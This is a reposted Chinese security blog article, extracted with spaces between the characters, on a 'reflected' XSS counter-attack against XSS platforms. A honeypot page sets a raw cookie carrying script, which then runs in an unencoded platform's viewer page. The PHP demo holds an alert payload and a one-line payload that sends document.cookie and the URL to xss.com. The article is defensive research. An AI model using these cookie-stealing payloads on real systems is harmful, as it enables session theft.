搜索

[12084] 2017-12-03_注意了，使用XSS平台的你可能被“偷窥”

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-18
2017-12-03_注意了，使用XSS平台的你可能被“偷窥” 注 意 了 ， 使 用 X S S 平 台 的 你 可 能 被 “ 偷 窥 ” 九 如   F r e e B u f   2 0 1 7 - 1 2 - 0 3 故 君 子 之 治 人 也 ， 即 以 其 人 之 道 ， 还 治 其 人 之 身 。 故 君 子 之 治 人 也 ， 即 以 其 人 之 道 ， 还 治 其 人 之 身 。 P a r 1 ： 你 要 了 解 的 事 ： 你 要 了 解 的 事 X S S 平 台 ： 平 台 ： 玩 渗 透 测 试 的 人 ， 对 X S S 平 台 应 该 不 会 陌 生 。 最 简 单 的 X S S 平 台 ， 通 常 可 以 记 录 访 问 的 u r l ， 访 问 时 的 c o o k i e 等 。 稍 微 复 杂 的 功 能 ， 可 能 还 会 记 录 键 盘 输 入 ， 获 取 页 面 源 码 ， 截 取 网 页 屏 幕 等 。 接 下 来 ， 我 会 在 本 地 安 装 一 个 g i t h u b 上 的 一 个 简 单 的 x s s 平 台 项 目 ， 用 作 演 示 。 随 便 找 的 一 个 相 对 简 单 的 X S S 平 台 项 目 ， 地 址 ： h t t p s : / / g i t h u b . c o m / k e y u s / x s s 设 置 设 置 C O O K I E ： ： 对 于   c o o k i e   的 值 进 行 编 码 一 直 都 存 在 一 些 困 惑 。 普 遍 认 为   c o o k i e   的 值 必 须 经 过   U R L   编 码 ， 但 其 实 这 是 一 个 谬 论 ， 尽 管 通 常 都 这 么 做 。 原 始 规 范 中 明 确 指 出 只 有 三 个 字 符 必 须 进 行 编 码 ： 分 号 、 逗 号 和 空 格 ， 规 范 中 还 提 到 可 以 进 行   U R L   编 码 ， 但 并 不 是 必 须 ， 在   R F C   中 没 有 提 及 任 何 编 码 。 然 而 ， 几 乎 所 有 的 实 现 都 对 c o o k i e   的 值 进 行 了 一 系 列 的   U R L   编 码 。 对 于   n a m e = v a l u e   格 式 ， 通 常 会 对   n a m e   和   v a l u e   分 别 进 行 编 码 ， 而 不 对 等 号   =   进 行 编 码 操 作 。 s e t c o o k i e ( )   函 数 在 发 送   c o o k i e   时 ， c o o k i e   的 值 会 自 动 进 行   U R L   编 码 ， 在 取 回 时 进 行 自 动 解 码 ， 为 防 止 U R L   编 码 ， 请 使 用   s e t r a w c o o k i e ( )   取 而 代 之 。 P a r 2 ： 姑 且 称 之 为 ： 姑 且 称 之 为 X S S 反 弹 攻 击 吧 反 弹 攻 击 吧 O K ， 我 已 经 在 本 地 将 x s s 平 台 搭 建 成 功 ， 而 且 可 以 正 常 使 用 ， 除 了 页 面 样 式 有 点 丑 。 接 下 来 ， 好 戏 开 演 了 ~ 是 否 有 人 想 过 ， 如 果 我 在 c o o k i e 中 ， 放 入 x s s 跨 站 语 句 ， 那 么 会 有 什 么 结 果 。 接 下 来 ， 就 来 个 演 示 吧 。 原 理 图 片 ： 原 理 图 片 ：
服 务 器 B 上 的 演 示 用 的 代 码 : 可 以 试 想 一 下 ， 如 果 我 将 包 含 x s s 攻 击 语 句 的 c o o k i e 发 送 给 了 x s s 平 台 ， 而 x s s 平 台 恰 巧 没 对 返 回 的 参 数 进 行 编 码 ， 那 会 出 现 什 么 状 况 呢 ， 接 下 来 就 进 行 演 示 了 。 A 对 网 站 B 进 行 X S S 跨 站 攻 击 ： A 打 开 X S S 平 台 ， 查 看 获 取 到 的 网 站 B 的 c o o k i e ： < ? p h p s e t c o o k i e ( " n o r m a l " , " c o o k i e t w o " ) ; s e t r a w c o o k i e ( " r a w c o o k i e " , " < s c r i p t > a l e r t ( d o c u m e n t . c o o k i e ) < / s c r i p t > " ) ; ? > < h t m l > < h e a d > < t i t l e >   A   X S S   h o n e y p o t   d e m o < / t i t l e > < / h e a d > < b o d y > < p > J u s t   a   X S S   h o n e y p o t   t e s t ~ < / p > < s c r i p t   s r c = h t t p : / / 1 9 2 . 1 6 8 . 5 8 . 1 4 0 / x s s / > < / s c r i p t > < / b o d y > < / h t m l > < s c r i p t   s r c = h t t p : / / 1 9 2 . 1 6 8 . 5 8 . 1 4 0 / x s s / > < / s c r i p t >   为 A 的 X S S 攻 击 语 句 ， h t t p : / / 1 9 2 . 1 6 8 . 5 8 . 1 4 0 / x s s 是 X S S 平 台 接 口
可 以 看 到 ， c o o k i e 中 的 x s s 跨 站 语 句 ， 被 放 到 了 页 面 中 ， 并 且 可 以 成 功 执 行 。 但 是 ， 在 实 际 应 用 中 ， 攻 击 语 句 大 多 为 ： 攻 击 语 句 中 包 含 了 空 格 ， 但 是 在 C o o k i e 设 置 中 ， 是 不 允 许 包 含 空 格 ， 分 号 ， 这 个 反 而 成 了 实 际 应 用 的 一 个 需 要 解 决 的 点 。 还 好 ， 既 然 可 以 执 行 s c r i p t 语 句 ， 那 么 就 可 以 直 接 把 x s s 攻 击 语 句 放 到 j a v a s c r i p t 中 ， 但 也 就 能 写 一 句 ， 所 以 可 以 给 出 一 个 很 l o w 的 解 决 方 案 ， 如 下 ： 姑 且 称 为 “ 一 句 话 跨 站 攻 击 ” 吧 ~ 可 以 简 单 的 获 取 到 A ’ s   X S S 平 台 的 c o o k i e 及 u r l ， 虽 然 可 以 被 人 发 现 ， 但 是 已 经 不 重 要 了 ~ P a r 3 ： 除 了 愚 弄 一 下 攻 击 者 ， 还 能 做 什 么 ： 除 了 愚 弄 一 下 攻 击 者 ， 还 能 做 什 么 思 路 可 以 再 猥 琐 一 些 。 如 果 一 个 X S S 平 台 存 在 跨 站 ， 那 么 我 们 就 可 以 自 己 对 自 己 进 行 X S S 攻 击 。 这 样 ， 就 可 以 监 视 自 己 的 c o o k i e 是 否 被 其 他 人 查 看 。 说 白 了 ， 就 是 防 止 自 己 上 传 的 c o o k i e 等 敏 感 信 息 被 X S S 平 台 管 理 者 偷 看 ， 防 人 之 心 不 可 无 么 ~ P a r 4 ： 尾 声 ： 尾 声 在 实 际 的 环 境 中 ， 这 种 攻 击 方 法 很 难 被 利 用 ， 而 且 在 许 多 x s s 平 台 中 ， 上 传 的 内 容 会 被 被 编 码 ， 导 致 X S S 漏 洞 并 不 存 在 。 但 是 感 觉 思 路 很 有 意 思 ， 所 以 就 自 己 研 究 了 一 下 ， 和 大 家 分 享 。 各 位 也 可 以 在 自 己 使 用 的 X S S 平 台 上 ， 测 一 下 ， 是 否 存 在 上 述 问 题 ， 如 果 存 在 ， 也 可 以 给 大 家 提 个 醒 ~ 另 外 可 以 看 看 这 篇 文 章 的 姊 妹 篇 《 注 意 了 ， 使 用 S q l m a p 的 你 可 能 踩 中 了 “ 蜜 罐 ” 》 ， 可 能 会 找 到 和 这 篇 文 章 似 曾 相 识 的 感 觉 吧 。 * 本 文 原 创 作 者 九 如 ， 属 于 本 文 原 创 作 者 九 如 ， 属 于 F r e e B u f 原 创 奖 励 计 划 ， 禁 止 转 载 原 创 奖 励 计 划 ， 禁 止 转 载 < s c r i p t   s r c =   x s s . c o m > < / s c r i p t > s e t r a w c o o k i e ( " e v a l " , " < s c r i p t > w i n d o w . l o c a t i o n . h r e f = ' h t t p : / / x s s . c o m ? t o s e n d = ' + d o c u m e n t . c o o k i e + w i n d o w . l o c a t i o n . h r e f < / s c r i p t > " ) ;
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理